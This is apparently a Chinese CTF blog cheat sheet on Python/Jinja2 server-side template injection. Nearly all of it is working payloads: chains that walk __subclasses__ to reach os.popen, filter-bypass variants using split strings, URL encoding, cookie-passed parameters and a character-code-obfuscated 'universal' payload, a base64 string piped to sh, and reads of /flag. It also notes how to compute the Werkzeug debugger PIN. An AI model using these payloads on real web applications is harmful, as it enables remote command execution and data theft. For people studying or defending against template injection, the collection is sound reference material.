SSTI
SSTI
1 | 得到shell后,如果没有找到flag,可以看看env也就是popen(env) |
1 | 开头"".__class__.__base__.__subclasses__()末尾 |
在已知过滤的情况下,进行绕过构成
1 | 开头()['__cla''ss__'].__bases__[0]['__subcl''asses__']()末尾 |
(如果要使用脚本搜索,必须要自带编译)例:
1 | %7B%7B%22%22.__class__.__base__.__subclasses__()%7D%7D |
找到以下字段
os._wrap_close
warnings.catch_warnings
在使用脚本前,先试运行一次,查看爆出字段的内容,根据情况修改脚本鉴定内容。
找到
1.os._wrap_close (存在popen,但也可以构造eval)
2.warnings.catch_warnings (可能不存在popen,需要自己构造eval)
后,在其后加
1 | .__init__.__globals__.__builtins__.eval("__import__('os').popen('ls').read()")末尾 (如果用到base64绕过,那串字符不需要加双引号例如echo Y2F0IC9mbGFn |base64 -d|sh) |
利用config
1 | {{config.__class__.__init__.__globals__['os'].popen('ls /').read() }} |
lipsum.__globals__含有os模块
1 | {{cycler.__init__.__globals__.os.popen('ls /').read()}} |
利用__builtins__
1 | {{url_for.__globals__.__builtins__.eval("__import__('os').popen('ls /').read()")}} |
对于过滤比较强的ssti
可以考虑使用cookie传参
1 | {{()[request.cookies.c][request.cookies.d][0][request.cookies.e]()[59][request.cookies.f][request.cookies.g][request.cookies.h][request.cookies.i](request.cookies.j).read()}} |
说人话就是这条命令
1 | {{''.__class__.__bases__[0].__subclasses__()[185].__init__.__globals__.__builtins__.open("/flag").read()}} |
SSTI通杀
1 | {%print(((lipsum|attr(('%c'*11)%(95,95,103,108,111,98,97,108,115,95,95))|attr(('%c'*11)%(95,95,103,101,116,105,116,101,109,95,95))(('%c'*12)%(95,95,98,117,105,108,116,105,110,115,95,95))|attr(('%c'*11)%(95,95,103,101,116,105,116,101,109,95,95))(('%c'*4)%(101,118,97,108))))(('%c'*42)%(95,95,105,109,112,111,114,116,95,95,40,39,111,115,39,41,46,112,111,112,101,110,40,39,99,97,116,32,47,102,108,97,103,39,41,46,114,101,97,100,40,41)))%} |
计算pin值
如果在做题过程中遇到可读文件的ssti漏洞,则可以计算pin值
如果python版本在3.6以及以下则可以使用md5的计算脚本
1 | # MD5 |
如果pyhton版本在3.8则需要使用sha1的计算脚本
1 | # sha1 |
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Nebula的博客!